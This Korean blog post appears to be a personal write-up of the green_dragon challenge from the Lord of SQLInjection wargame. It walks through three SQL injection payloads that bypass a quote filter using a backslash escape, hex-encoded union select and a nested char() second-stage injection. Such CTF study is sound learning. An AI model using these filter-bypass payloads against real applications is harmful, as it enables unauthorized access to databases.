Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 green_dragon문제에 대해 다루겠다.


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

green_dragon

## 문제 해석 :

해당 문제는 preg_match() 함수를 통해 prob, _, ., ', "를 필터링하고 있다는 것을 알 수 있다.

또한 id의 값이 admin일때만 문제를 해결할 수 있는 것으로 보인다.

## 문제 풀이 :

우선 "\"문자가 필터링 처리되지 않았으므로 "\"를 활용하여 공격을 시도해보겠다.

### 사용할 공격문 : id=\&pw= union select 0x61646d696e %23

### 실행 결과 :

1차 시도

"\"문자를 통해 id 파라미터의 값을 '\' and pw='로 만든 다음에 union문을 활용하여 select "admin"을 시도해보았지만 통하지 않았다.

union select를 통해 얻고자 한 값이 "admin"인데, "가 필터링 되었으므로 admin의 Hex값인 "0x61646d696e"를 사용했다.

 

좀 더 자세히 살펴보니 query만 출력되고 query2가 출력되지 않는 것을 알 수 있다. query2의 조건을 만족해야지 문제를 해결할 수 있으므로 query2의 조건을 만족시킬 수 있게 공격을 시도해보겠다.

### 사용할 공격문 : id=\&pw= union select 0x5c, 0x20756e696f6e2073656c6563742061646d696e %23

### 실행 결과 :

2차 시도

query2문까지 출력되는 것을 확인했는지만 문제는 여전히 풀지 못했다.

 

여러 시도 끝에 찾아낸 결과, admin을 ""로 감싸야 하는데, "가 필터링되었으므로 다른 방식으로 데이터를 전송해야 한다.

 

여기서는 char()를 사용해서 공격을 시도해보겠다.

### 사용할 공격문 : id=\&pw= union select 0x5c, 0x20756e696f6e2073656c65637420636861722839372c203130302c203130392c203130352c203131302923 %23

### 실행 결과 : 

공격 성공

## 추가 해석 :

쿼리문 : id=\&pw= union select 0x5c, 0x20756e696f6e2073656c65637420636861722839372c203130302c203130392c203130352c203131302923 %23

최종적으로 달성해야하는 쿼리가 2번이지만, 2번을 달성하기 앞서 만족해야 할 쿼리가 1번이다. 즉 "union select id"가 아니라 "union select id, pw"처럼 id, pw 2개의 값을 전송해야 한다. 또한 전송된 pw값이 2번 쿼리의 result[pw]에 그대로 사용되기 때문에 2번 쿼리를 다음 처럼 만들어야 문제를 해결할 수 있다.

select id from prob_green_dragon where id='\' and pw=' union select char(97, 100, 109, 105, 110) #

여기서 pw에 들어가는 값이 " union select char(97, 100, 109, 105, 110)#"이기 때문에 union select문의 2번째 인자에 그대로 넣어주면 된다(물론 Hex값으로 변경해서).

profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!